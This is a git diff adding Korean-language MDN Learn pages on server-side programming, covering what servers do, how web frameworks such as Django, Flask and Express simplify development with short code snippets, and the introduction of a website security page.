개발자는 일반적으로 web frameworks를 이용하여 코드를 작성 합니다. 웹 프레임 워크는 일반적인 문제를 해결하고 개발 속도를 높이며 특정 도메인에서 직면하는 다양한 유형의 작업을 단순화하도록 설계된 함수, 객체, 규칙 및 기타 코드 구성 요소의 모음입니다. 다시 말하지만 클라이언트와 서버 측 코드 모두 프레임 워크를 사용하지만 도메인은 매우 다르므로 프레임 워크도 다릅니다. 클라이언트 측 웹 프레임 워크는 레이아웃 및 프리젠 테이션 작업을 단순화하는 반면 서버 측 웹 프레임 워크는 직접 구현해야하는 많은 "공통"웹 서버 기능을 제공합니다(예: 세션 지원, 사용자와 인증을 지원, 데이터베이스와 쉬운 연결, 템플리트 라이브러리, 기타 등등.).

+ +
+

Note: 클라이언트 측 프레임워크는 때때로 클라이언트측 코드를 개발하는 속도를 올릴 수 있게 도와주도록 사용하지만, 당신은 모든 코드를 직접 작성 할 수도 있습니다; 사실은 당신이 작고, 간단한 사이트의 UI를 만든다면 당신이 직접 작성하는 코드가 더 빠르고 효과적일수 있습니다. 이와 대조적으로, 당신은 서버측 웹 앱의 컴포넌트를 프레임 워크 없이 작성 하는것은 거의 고려 하지 않을 것 입니다 — 파이썬에서 HTTP 서버와 같은 중요한 기능구현을 처음부터 하는 것은 어렵지만 Django와 같은 Python 웹 프레임 워크는 다른 유용한 도구와 함께 즉시 사용할 수있는 도구를 제공합니다.

+
+ +
+

서버측에서 무엇을 할 수 있나요?

+ +

서버 측 프로그래밍은 개별 사용자에 맞게 정보를 효율적으로 전달할 수있게 해주고 사용자 경험을 훨씬 향상시킬 수 있기 때문에 매우 유용합니다.

+
+ +

Amazon과 같은 회사는 서버 측 프로그래밍을 사용하여 제품 검색 결과를 작성하고 고객 선호도 및 이전 구매 습관을 기반으로 한 제품 제안, 구매 단순화 등을 수행합니다. 은행은 고객 정보를 저장하고 권한이있는 사용자만 보고 거래 할 수 있도록 서버 측 프로그래밍을 사용합니다. Facebook, Twitter, Instagram 및 Wikipedia와 같은 기타 서비스는 서버 측 프로그래밍을 사용하여 재미있는 컨텐츠에 대한 액세스를 강조, 공유 및 제어합니다.

+ +

서버 측 프로그래밍의 일반적인 용도와 이점은 다음과 같습니다. 겹치는 부분이 있음을 알 수 있습니다!

+ +

효율적인 저장소와 정보 전달

+ +

Amazon에서 얼마나 많은 제품을 사용할 수 있는지 상상해보십시오. Facebook에 얼마나 많은 게시물이 작성되었는지 상상해보십시오. 각 제품 또는 게시물에 대해 별도의 정적 페이지를 만드는 것은 완전히 비효율적입니다.

+ +

서버 측 프로그래밍을 사용하면 정보를 데이터베이스에 저장하고 HTML 및 기타 유형의 파일(예: PDF, 이미지, etc.)을 동적으로 생성하고 반환 할 수 있습니다. 또한 적절한 클라이언트 웹 프레임워크로 렌더링하기 위해 간단한 데이터({{glossary("JSON")}}, {{glossary("XML")}}, etc.)도 반환 할 수 있습니다 (이렇게하면 서버의 처리 부담과 전송해야하는 데이터의 양이 줄어 듭니다.).

+ +

서버는 데이터베이스에서 정보를 전송하는 것에 국한되지 않고, 소프트웨어 도구의 결과 또는 통신 서비스의 데이터를 반환 할 수도 있습니다. 콘텐츠는 수신중인 클라이언트 장치의 유형을 대상으로 할 수도 있습니다.

+ +

왜냐하면 데이터베이스의 정보는 다른 비즈니스 시스템에 의해 간단히 공유되고 업데이트 될 수 있기 때문입니다(예를 들어, 제품이 온라인 또는 상점에서 판매 될 때, 상점은 재고 데이터베이스를 갱신 할 수 있습니다).

+ +
+

Note: 효율적인 저장 및 정보 전달을위한 서버 측 코드의 이점을보기 위해 상상력을 집중하지 않아도됩니다:

+ +
    +
  1. Amazon 또는 기타 전자 상거래 사이트로 이동하십시오.
  2. +
  3. 여러 개의 키워드를 검색하고 결과가 나타나더라도 페이지 구조가 변하지 않는지 유의 하십시오
  4. +
  5. 2 개 또는 3 개의 다른 제품을 엽니 다. 공통된 구조와 레이아웃을 갖는지에 대해 다시 유의하십시오.  다른 제품의 내용은 데이터베이스에서 가져 왔습니다.
  6. +
+ +

일반적인 검색 용어 ( "fish", say)의 경우 문자 그대로 수백만 개의 반환 값을 볼 수 있습니다. 데이터베이스를 사용하면 이러한 정보를 효율적으로 저장하고 공유 할 수 있으며 정보의 표시를 한 곳에서만 제어 할 수 있습니다.

+
+ +

맞춤형 사용자 경험(user experience)

+ +

서버는 사용자에게 편안함과 맞춤형 사용자 경험을 제공하기 위해 사용자의 정보를 사용하거나 저장 할 수 있습니다. 예를 들어 많은 사이트들은 신용카드 세부 정보를 저장하므로 그것을 다시 입력 할 필요가 없습니다. Google Maps와 같은 사이트는 라우팅 정보를 제공하고 검색 결과에서 지역 비즈니스를 강조 표시하기 위해 집과 현재 위치를 사용합니다.

+ +

사용자의 습관에 대한 면밀한 분석은 그들의 흥미를 예측하거나 사용자 맞춤 응답과 알림을 주는데에 사용 될 수 있습니다, 예를 들어 이전에 방문했거나 인기있는 위치 목록을지도에서 볼 수 있습니다.

+ +
+

Note: 익명의 사용자로  Google Maps로 이동하고 길 찾기 버튼을 선택한 다음 여행의 시작 및 종료 지점을 입력하십시오. 이제 Google 계정을 사용하여 시스템에 로그인하십시오 (이 과정에 대한 정보는 아래에서 방향을 선택하는 패널에 나타납니다). 이제 웹 사이트에서 시작 지점과 종료 지점으로 집과 직장 위치를 ​​선택할 수 있습니다 (아직 완료하지 않았다면이 세부 정보를 저장하십시오).

+
+ +

컨텐츠에 대한 접근 제한

+ +

서버측 프로그래밍을 통해 사용자만 접근 할 수 있도록 제한하거나 사용자가 볼수 있는 정보만 제공 할 수 있습니다.

+ +

실제 사례는 다음과 같습니다:

+ + + +
+

Note: 콘텐츠에 대한 액세스가 제어되는 다른 실제 사례를 고려하십시오. 예를 들어 은행의 온라인 사이트로 이동하면 무엇을 볼 수 있습니까? 계정에 로그인 - 어떤 추가 정보를보고 수정할 수 있습니까? 은행만 변경 될 수  있음을 알 수 있는 정보는 무엇입니까?

+
+ +

세션과 상태 저장

+ +

개발자는 서버 프로그래밍을 사용하여 sessions을 만들 수 있습니다 — 서버가 현재 사이트의 사용자 정보를 저장하거나 정보에 기반한 다른 응답을 보낼 수 있는 기본적인 메커니즘 입니다. 예를 들어, 사이트에서 사용자가 이전에 로그인하여 이메일 또는 주문 내역에 대한 링크를 표시하거나 간단한 게임의 상태를 저장하여 사용자가 사이트를 다시 이용할 때 떠났던 부분부터 다시 할 수 있습니다.

+ +
+

Note: 구독 모델이있는 신문 사이트를 방문하여 많은 수의 탭을 엽니다(예: The Age). 몇 시간 / 일 동안 사이트를 계속 방문하십시오. 결국 구독 방법을 설명하는 페이지로 리디렉션되기 시작하고 기사에 액세스 할 수 없게됩니다. 이 정보는 쿠키에 저장된 세션 정보의 예 입니다.

+
+ +

알림과 대화

+ +

서버는 일반적이거나 유저에 특화된 알림을 웹사이트 자신이나 이메일, SMS, 인스턴트 메시징, 비디오 대화, 또는 다른 통신 서비스를 통해 보낼 수 있습니다

+ +

몇개의 예가 포함 되어 있습니다:

+ + + +
+

Note: 가장 일반적인 유형의 알림은 "등록 확인"입니다. 관심있는 큰 사이트 (Google, Amazon, Instagram 등)를 선택하고 이메일 주소를 사용하여 새 계정을 만드십시오. 귀하는 귀하의 등록을 확인하거나 귀하의 계정을 인증하기 위해 승인을 요구하는 이메일을 곧 받게 될 것입니다.

+
+ +

정보 분석

+ +

웹사이트는 사용자에대한 많은 정보를 수집할 수 있습니다: 그들이 뭘 검색하는지, 그들이 뭘 사는지, 그들이 뭘 추천하는지, 그들이 각 페이지 마다 얼마나 머무르는지. 서버 측 프로그래밍을 사용하여 데이터의 분석을 기반으로 응답을 구체화 할 수 있습니다.

+ +

그 예로, Amazon과 Google둘다 전에 검색하였던 결과(및 구매)를 바탕으로 제품 광고를 합니다.

+ +
+

Note: Facebook 사용자인 경우 기본 피드로 이동하여 게시물 스트림을 확인하십시오. 일부 게시물의 숫자 순서가 어긋나는 것에 유의하십시오. 특히 "좋아요"가 많은 게시물은 최근 게시물보다 목록에서 더 자주 표시됩니다. 또한 어떤 광고가 게재 되고 있는지 살펴보십시오. 다른 사이트에서 봤던 광고를 볼 수 있습니다. 콘텐츠 및 광고를 강조하는 Facebook의 알고리즘은 약간의 수수께끼 일 수 있지만 좋아하는 것과 보는 습관에 달려 있다는 것은 분명합니다.

+
+ +

요약

+ +

축하합니다, 당신은 첫번째 기사인 서버측 프로그래밍을 끝까지 읽으셨습니다. 

+ +

당신은 이제 서버측 코드가 웹 서버 위에서 실행되고 그것의 주 역할은 사용자에게 전달하는 정보를 컨트롤 한다는걸 알게 되었습니다(클라이언트 측 코드는 사용자에게 데이터의 구조와 표현을 처리합니다). 또한 사용자별로 맞춤 설정된 정보를 효율적으로 제공하고 서버 측 프로그래머 일 때 수행 할 수있는 작업에 대한 좋은 아이디어가있는 웹 사이트를 만들 수 있으므로 유용하다는 점도 이해해야합니다.

+ +

마지막으로, 서버 측 코드는 여러 프로그래밍 언어로 작성 될 수 있으며 전체 프로세스를보다 쉽게하기 위해 웹 프레임 워크를 사용해야한다는 것을 이해해야합니다. 

+ +

향후 기사에서는 첫 번째 사이트에 가장 적합한 웹 프레임 워크를 선택할 수 있도록 도와 드리겠습니다. 다음은 주요 클라이언트 - 서버 상호 작용에 대해 좀 더 자세하게 설명하겠습니다.

+ +

{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}

diff --git a/files/ko/learn/server-side/first_steps/web_frameworks/index.html b/files/ko/learn/server-side/first_steps/web_frameworks/index.html new file mode 100644 index 0000000000..24c252285a --- /dev/null +++ b/files/ko/learn/server-side/first_steps/web_frameworks/index.html @@ -0,0 +1,312 @@ +--- +title: Server-side web frameworks +slug: Learn/Server-side/First_steps/Web_frameworks +translation_of: Learn/Server-side/First_steps/Web_frameworks +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}
+ +

이전 기사에서는 웹 클라이언트와 서버 간의 통신 모습, HTTP 요청 및 응답의 성격, 서버 측 웹 애플리케이션이 웹 브라우저의 요청에 응답하기 위해 수행해야하는 작업에 대해 설명했습니다. 이러한 지식을 바탕으로, 지금 시간에는 웹 프레임 워크가 어떻게 그러한 작업을 간단히 만드는지 탐색하고, 당신의 첫 서버측 애플리케이션을 위한 프레임 워크를 어떻게 선택하는지 의견을 드리겠습니다.

+ + + + + + + + + + + + +
Prerequisites:기본적인 컴퓨터 활용법. HTTP 요청을 서버측 코드가 어떻게 다루고 응답하는지에 대한 높은 수준의 이해 (Client-Server overview를 참고 하십시오).
Objective:웹 프레임 워크가 어떻게 서버측 코드를 개발/유지하기 간단하게 만들 수 있는지 이해하고 , 독자들이 그들의 개발에 어떤 프레임워크를 선택 할지에 대해 생각해보게 합니다.
+ +

이 섹션에서 실제 웹 프레임 워크에서 가져온 코드 조각을 설명할 것 입니다. 지금 전부 이해가 가지 않는것에 대해 당황하지 마세요; 우리는 프레임 워크 특정 모듈의 코드를 통해 작업 할 것입니다.

+ +

개요

+ +

서버측 웹 프레임워크("웹 어플리케이션 프레임워크"라고 알려진)는 작성하기 쉽고, 웹 어플리케이션을 유지및 보수하기 쉽게 만드는 소프트웨어 프레임 워크입니다. 적절한 URL핸들러로 라우팅, 데이테베이스와 상호작용, 유저 인증과 세션 지원, 출력 형식(예: HTML, JSON, XML), 웹 공격에 대처하기 위한 보안 강화 같은 일반적인 웹 개발 작업을 단순화하는 도구와 라이브러리를 제공합니다.

+ +

다음 섹션은 어떻게 웹 프레임워크가 웹 애플리케이션 개발을 쉽게 하는지 더 상세히 살펴 보겠습니다. 우리는 당신이 사용할 웹 프레임워크를 선택하는 기준을 설명하고 몇 가지 옵션을 나열하겠습니다.

+ +

웹 프레임워크는 무엇을 지원하는가?

+ +

웹 프레임워크는 일반적인 웹 개발 작업을 단순화 하는 도구와 라이브러리를 제공합니다. 당신은 서버측 웹 프레임 워크를 사용하지 않을 수 있지만 이는 권고 되지 않습니다 — 서버측 웹 프레임워크를 사용하면 당신의 삶이 더 편해질 것입니다.

+ +

이 섹션에서는 웹 프레임워크가 제공하는 몇몇 기능에 대해 논의 하겠습니다(모든 프레임 워크가 그 기능을 제공하지는 않습니다!)

+ +

Work directly with HTTP requests and responses

+ +

우리가 마지막 기사에서 봤듯이 웹 서버와 브라우저는 HTTP protocol을 통해 통신합니다 — 서버는 브라우저에서 오는 HTTP요청을 기다리고, HTTP응답에 정보를 반환 합니다. 웹 프레임워크는 이러한 요청과 응답을 할 서버측 코드를 만드는데 작성할 문법을 단순화 합니다. 이것은 당신의 일과 상호작용을 쉽게 하고, 저수준 네트워킹 프리미티브보다 높은 수준의 코드를 이용한다는 것을 의미합니다.

+ +

Django (Python) 웹 프레임워크가 어떻게 작동 하는지의 대한 예가 아래에 나와 있습니다. 모든 "view"함수는(요청 핸들러)  요청 정보가 포함된HttpRequest객체를 받고, 형식화된 출력(이번 케이스에선 string)이 있는HttpResponse 객체를 반환합니다.

+ +
# Django view function
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest (request)
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Output string to return')
+
+ +

Route requests to the appropriate handler

+ +

대부분의 사이트는 여러개의 다른 리소스를 특정된 URL을 통해 접근 할 수 있도록 제공합니다. 통합된 함수로 모든것을 처리하는건 유지하기가 매우 힘듭니다, 그래서 웹 프레임워크는 특별한 처리 함수로 URL패턴을 매핑하는 기능을 제공합니다. 이러한 접근 방법은 유지 보수 기간에 이점이 있습니다. 왜냐하면 기본 코드를 변경하지 않고도 특정 기능을 제공하는 데 사용되는 URL을 변경할 수 있기 때문입니다.

+ +

각각의 프레임 워크들은 다른 매핑 메커니즘을 사용합니다. 예를 들면 Flask (Python) 웹 프레임 워크는데코레이터를 사용하여 view함수에 경로를 추가합니다.

+ +
@app.route("/")
+def hello():
+    return "Hello World!"
+ +

Django는 개발자가 URL 패턴과 뷰 함수 사이에 URL 매핑 목록을 정의 할 것을 기대합니다.

+ +
urlpatterns = [
+    url(r'^$', views.index),
+    # example: /best/myteamname/5/
+    url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best),
+]
+
+ +

Make it easy to access data in the request

+ +

데이터는 다양한 방법으로 HTTP응답에 인코딩 될 수 있습니다. 서버에서 파일이나 데이터를 얻기 위한 HTTP GET 요청은 URL인자나 URL구조를 요구한 데이터를 인코딩 할 수 있습니다. 서버에 있는 리소스를 업데이트를 요청하는 HTTP POST는 요청 본문에 "POST data"로 업데이트 정보를 대신 포함합니다. 또한 HTTP 요청은 클라이언트 측 쿠키에서 현재 세션 또는 사용자에 관한 정보를 포함 할 수있습니다.

+ +

웹 프레임 워크는 정보에 액세스하기위한 프로그래밍 언어에 적합한 메커니즘을 제공합니다. 예를 들어 Django가 모든 뷰 함수에 전달하는 HttpRequest 객체는 대상 URL, 요청 유형 (예 : HTTP GET), GET 또는 POST 매개 변수, 쿠키 및 세션 데이터 등에 접근 하기 위한 메소드 및 속성을 포함합니다. Django는 URL 매퍼에 "캡처 패턴"을 정의한 URL 구조로 인코딩 된 정보를 전달할 수도 있습니다 (위 섹션의 마지막 코드 단편 참조).

+ +

Abstract and simplify database access

+ +

웹 사이트는 사용자와 사용자에 대한 정보 공유를 위한 데이터를 저장 하기 위해서 데이터베이스를 사용합니다. 웹 프레임 워크는 종종  데이터베이스 읽기, 쓰기, 쿼리, 삭제 조작을 추상화 할 수 있는 데이터베이스 계층을 제공 합니다. 이러한 추상 계층을 객체 관계형 매퍼(ORM)라고 합니다.

+ +

ORM을 사용 하는 것은 2가지 장점이 있습니다:

+ + + +

예를들어 Django 웹 프레임워크는 ORM을 제공하고 레코드 구조 모델로 정의하는데  사용한 객체를 참조합니다. 모델은 저장 될 필드 유형을 지정하며, 저장 될 수있는 정보에 대한 필드 레벨 검증을 제공 할 수 있습니다(예 : 이메일 입력란은 유효한 이메일 주소 만 허용). 또한 필드 정의는 최대 크기, 기본 값, 선택 목록 옵션, 문서를 위한 도움말, 양식 레이블 텍스트 등을 지정할 수도 있습니다. 모델은 코드와 별도로 변경 될 수있는 구성 설정이므로 기본 데이터베이스에 대한 정보는 명시하지 않습니다.

+ +

첫번째 코드 스니펫은 아래에 보이는 매우 간단한 Django 모델인 Team객체 입니다. 이 객체는 팀 이름과 팀의 레벨을 문자 필드로 저장하고 각각의 레코드마다 최대 한도의 문자 길이를 저장 합니다. team_level은 선택 필드이므로 우리는 디폴트 값과 함께 표시할 선택 항목과 데이터를 저장하는 것 사이를 매핑하는 것을 제공합니다. 

+ +
#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+        ...  #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+
+ +

Django 모델은 데이터베이스 검색을 위한 간단한 쿼리를 제공 합니다. 다른 기준을 사용하여 한 번에 여러 필드와 일치시킬 수 있습니다. (예 : 대소 문자를 구분하지 않음,보다 큼, 등), 그리고 복잡한 명령문을 지원 할 수 있습니다 (예를 들어 당신이 "Fr"로 시작하거나 "al"로 끝나는 특별한 U11팀을 찾을 수 있습니다). 

+ +

두번째 코드 스니펫은 U09의 모든 팀을 보여주는 view function(요청 핸들러)을 보겠습니다.  이 경우 우리는 team_level 필드의 텍스트가 정확히 'U09'인 모든 레코드를 필터링하도록 지정합니다. ( 이 기준이 필드 이름과 일치 유형이 두 개의 밑줄로 구분 된 인수로 filter() 함수에 전달되는 방법을 아래에 기록하십시오. team_level__exact ).

+ +
#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    list_teams = Team.objects.filter(team_level__exact="U09")
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+
+ +
+
+ +

Rendering data

+ +

웹 프레임워크는 종종 템플릿 시스템을 제공합니다. 이것은 페이지가 생성될 때 데이터를 추가하기 위한 자리 표시 자를 사용하여 출력 문서 구조를 지정 할 수 있습니다. 템플릿들은 보통 HTML로 만들어지지만, 다른 형식의 문서로도 작성될 수 있습니다.

+ +

웹 프레임워크는 보통 저장된 데이터를 다른 형식으로 쉽게 생성 할 수 있는,{{glossary("JSON")}}, {{glossary("XML")}}을 포함한, 틀을 제공합니다.

+ +

예를들어, Django 템플릿 시스템은 구체화된 "double-handlebars" 구조 (예를 들어 {{ variable_name }})를 사용하도록 허용하는데, 이것은 페이지가 로딩될 때 뷰 함수의 값들로 대체될 수 있습니다.  템플릿 시스템은 또한 다양한 표현식을 지원하는데 (예를 들어 : {% expression %}), 템플리트가 템플리트에 전달 된 목록 값을 반복하는 것과 같은 간단한 조작을 수행 할 수 있습니다.

+ +
+

Note: 다른 대부분의 템플릿 시스템들은 비슷한 문법을 사용합니다, 예: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), 등등.

+
+ +

아래의 코드 스니펫은 그것이 어떻게 작동 하는지 보여줍니다. 이전 섹션에 사용한 "youngest team" 예제를 다시 보겠습니다, HTML 템플릿은 뷰에서 youngest_teams이라고 불리는 목록 변수를 전달 받습니다. HTML 골격 내에는 youngest_teams이 있는지 체크하는 표현식이 있고, 있다면 for 루프를 통해 반복문을 만드는 것을 볼 수 있습니다. 각 반복당 템플릿은 팀리스트에 있는  team_name을 출력해줍니다.

+ +
#best/templates/best/index.html
+
+<!DOCTYPE html>
+<html lang="en">
+<body>
+
+ {% if youngest_teams %}
+    <ul>
+    {% for team in youngest_teams %}
+        <li>\{\{ team.team_name \}\}</li>
+    {% endfor %}
+    </ul>
+{% else %}
+    <p>No teams are available.</p>
+{% endif %}
+
+</body>
+</html>
+
+ +

웹프레임워크를 선택하는 방법

+ +

여러분이 쓰고싶은 언어 대부분에 많은 웹 프레임워크들이 존재합니다(그중 보다 인기 있는 몇개의 프레임워크들을 다음 섹션에 나열합니다). 선택의 폭이 넓어지기 때문에 새로운 웹 애플리케이션을위한 최고의 출발점을 제공하는 프레임워크를 찾기가 어려울 수 있습니다.

+ +

여러분의 선택에 영향을 줄 수 있는 요인은 다음과 같습니다.

+ + + +

라이센싱, 프레임워크가 활발하게 개발 중인지 여부 등 여러 가지 가능한 요소가 있습니다.

+ +

프로그래밍을 처음 접하는 생초보라면 "학습 편의성"에 따라 프레임 워크를 선택하게 될 것입니다. 언어 자체의 "사용 편의성"외에도 고품질 문서 / 자습서 및 새로운 사용자를 돕는 활동적인 커뮤니티가 가장 소중한 리소스입니다. 우리는 Django (Python) 와 Express (Node/JavaScript)를 선택하여 강의 후반에 예제를 작성했습니다. 배우기 쉽고 지원을 잘 받고 있기 때문입니다.

+ +
+

Note: Django (Python) 와 Express (Node/JavaScript)의 메인 웹사이트로 가보십시오, 그리고 문서와 커뮤니티를 확인하십시오.

+ +
    +
  1. (위 링크들의) 메인 사이트를 둘러보기 +
      +
    • Documentation 메뉴에 링크들(Documentation, Guide, API Reference, Getting Started등)을 클릭해보십시오.
    • +
    • URL routing, templates, and databases/models등을 설정하는 주제들이 보이십니까?
    • +
    • 해당 문서들은 명료하게 작성이 되어있습니까?
    • +
    +
  2. +
  3. 각각의 사이트에서 mailing lists(해당 커뮤니티의 링크들을 통해서 접근할 수 있습니다)를 둘러보기 +
      +
    • 지난 며칠동안 얼마나 많은 질문들이 올라왔습니까?
    • +
    • 얼마나 많은 답변이 있습니까?
    • +
    • 왕성한 활동을 보이는 커뮤니티를 갖고 있습니까?
    • +
    +
  4. +
+
+ +

A few good web frameworks?

+ +

더 나아가, 몇몇 server-side 웹 프레임워크들에 대해 다루어보겠습니다.

+ +

밑에 있는 server-side 프레임워크들은 이 글을 쓰는 시점에 인기 있는 프레임워크들 중 일부입니다. 몇이 프레임워크들은 생산성을 위해 필요한 것들을 갖추었습니다. — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. 인터넷 검색을 통해 여기서 언급하지 않은 좋은  프레임워크들 찾을 수 있습니다. 

+ +

Note: 여기에 기술되어있는 (일부) 내용들은 프레임워크의 사이트로부터 왔습니다!

+ +

Django (Python)

+ +

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.

+ +

Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain.

+ +

Popular sites using Django (from Django home page) include: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.

+ +

Flask (Python)

+ +

Flask is a microframework for Python. 

+ +

While minimalist, Flask can create serious websites out of the box. It contains a development server and debugger, and includes support for Jinja2 templating, secure cookies, unit testing, and RESTful request dispatching. It has good documentation and an active community. 

+ +

Flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a Raspberry PiDrone controllers, etc.)

+ +

Express (Node.js/JavaScript)

+ +

Express is a fast, unopinionated, flexible and minimalist web framework for Node.js (node is a browserless environment for running JavaScript). It provides a robust set of features for web and mobile applications and delivers useful HTTP utility methods and middleware.

+ +

Express is extremely popular, partially because it eases the migration of client-side JavaScript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses lightweight multitasking within a thread rather than spawning separate processes for every new web request). 

+ +

Because Express is a minimalist web framework it does not incorporate every component that you might want to use (for example, database access and support for users and sessions are provided through independent libraries). There are many excellent independent components, but sometimes it can be hard to work out which is the best for a particular purpose! 

+ +

Many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on Express, including FeathersItemsAPIKeystoneJSKrakenLoopBackMEAN, and Sails.

+ +

A lot of high profile companies use Express, including: Uber, Accenture, IBM, etc. (a list is provided here).

+ +

Ruby on Rails (Ruby)

+ +

Rails (usually referred to as "Ruby on Rails") is a web framework written for the Ruby programming language.

+ +

Rails follows a very similar design philosophy to Django. Like Django it provides standard mechanisms for routing URLs, accessing data from a database, generating HTML from templates and formatting data as {{glossary("JSON")}} or {{glossary("XML")}}. It similarly encourages the use of design patterns like DRY ("dont repeat yourself" — write code only once if at all possible), MVC (model-view-controller) and a number of others.

+ +

There are of course many differences due to specific design decisions and the nature of the languages.

+ +

Rails has been used for high profile sites, including: BasecampGitHubShopifyAirbnbTwitchSoundCloudHuluZendeskSquareHighrise.

+ +

Laravel (PHP)

+ +

Laravel is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as:

+ + + +

Laravel is accessible, yet powerful, providing tools needed for large, robust applications.

+ +

ASP.NET

+ +

ASP.NET is an open source web framework developed by Microsoft for building modern web applications and services. With ASP.NET you can quickly create web sites based on HTML, CSS, and JavaScript, scale them for use by millions of users and easily add more complex capabilities like Web APIs, forms over data, or real time communications.

+ +

One of the differentiators for ASP.NET is that it is built on the Common Language Runtime (CLR), allowing programmers to write ASP.NET code using any supported .NET language (C#, Visual Basic, etc.). Like many Microsoft products it benefits from excellent tools (often free), an active developer community, and well-written documentation.

+ +

ASP.NET is used by Microsoft, Xbox.com, Stack Overflow, and many others.

+ +

Mojolicious (Perl)

+ +

Mojolicious is a next generation web framework for the Perl programming language.

+ +

Back in the early days of the web, many people learned Perl because of a wonderful Perl library called CGI. It was simple enough to get started without knowing much about the language and powerful enough to keep you going. Mojolicious implements this idea using bleeding edge technologies.

+ +

Some of the features provided by Mojolicious are: Real-time web framework, to easily grow single file prototypes into well-structured MVC web applications; RESTful routes, plugins, commands, Perl-ish templates, content negotiation, session management, form validation, testing framework, static file server, CGI/PSGI detection, first class Unicode support; Full stack HTTP and WebSocket client/server implementation with IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart and gzip compression support; JSON and HTML/XML parsers and generators with CSS selector support; Very clean, portable and object-oriented pure-Perl API with no hidden magic; Fresh code based upon years of experience, free and open source.

+ +

Spring Boot (Java)

+ +

Spring Boot is one of a number of projects provided by Spring. It is a good starting point for doing server-side web development using Java.

+ +

Although definitely not the only framework based on Java it is easy to use to create stand-alone, production-grade Spring-based Applications that you can "just run". It is an opinionated view of the Spring platform and third-party libraries but allows to start with minimum fuss and configuration.

+ +

It can be used for small problems but its strength is building larger scale applications that use a cloud approach. Usually multiple applications run in parallel talking to each other, with some providing user interaction and others just do back end work (e.g. accessing databases or other services).  Load balancers help to ensure redundancy and reliability or allow geolocated handling of user requests to ensure responsiveness.

+ +

Summary

+ +

This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of how to choose a web framework for your own server-side development. If not, then don't worry — later on in the course we'll give you detailed tutorials on Django and Express to give you some experience of actually working with a web framework.

+ +

For the next article in this module we'll change direction slightly and consider web security.

+ +

{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}

+ +

In this module

+ + diff --git a/files/ko/learn/server-side/first_steps/website_security/index.html b/files/ko/learn/server-side/first_steps/website_security/index.html new file mode 100644 index 0000000000..6fcc0fbb56 --- /dev/null +++ b/files/ko/learn/server-side/first_steps/website_security/index.html @@ -0,0 +1,164 @@ +--- +title: Website security +slug: Learn/Server-side/First_steps/Website_security +tags: + - 가이드 + - 보안 + - 서버측 프로그래밍 + - 웹 보안 + - 초보자 + - 학습 +translation_of: Learn/Server-side/First_steps/Website_security +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}
+ +

웹사이트 보안은 설계와 사용의 모든 측면에서 주의를 기울여야 한다. 이 글은 입문자용이므로 당신을 웹사이트 보안 전문가로 만들어주지는 않지만, 보안 위협 요소가 어디에서 발생하는지와, 가장 일반적인 공격으로부터 웹 응용 프로그램을 어떻게 강화할 수 있는지 이해하는데 도움을 줄 것이다.

+ + + + + + + + + + + + +
사전 요구 지식 :기본적인 컴퓨터 활용 능력.
학습목표 : +

웹 애플리케이션 보안을 위협하는 가장 일반적인 요소들과, 해킹 당할 위험을 줄이는 방법을 이해한다.

+
+ +

웹사이트 보안이란 무엇인가?

+ +

인터넷은 위험한 곳이다! 구체적인 사례로, 우리는 정기적으로 웹사이트가 서비스 거부 공격으로 마비되거나, 홈페이지에 수정된 (그리고 종종 위해한) 정보가 게시된 소식을 듣는다. 또 다른 영향력이 큰 사례로, 수백만 개의 비밀번호, 이메일 주소, 신용카드 정보가 공용 도메인으로 유출되어, 웹사이트 사용자들에게 심리적 당혹감과 경제적인 위험을 유발한다.

+ +

웹사이트 보안의 목적은 이러한 (또는 어떤) 종류의 공격을 방지하는 것이다. 딱딱하게 말하자면, 웹사이트 보안이란, 비승인된 접근, 사용, 수정, 파괴, 중단으로부터 웹사이트를 보호하는 행동 또는 실행을 가리킨다.

+ +

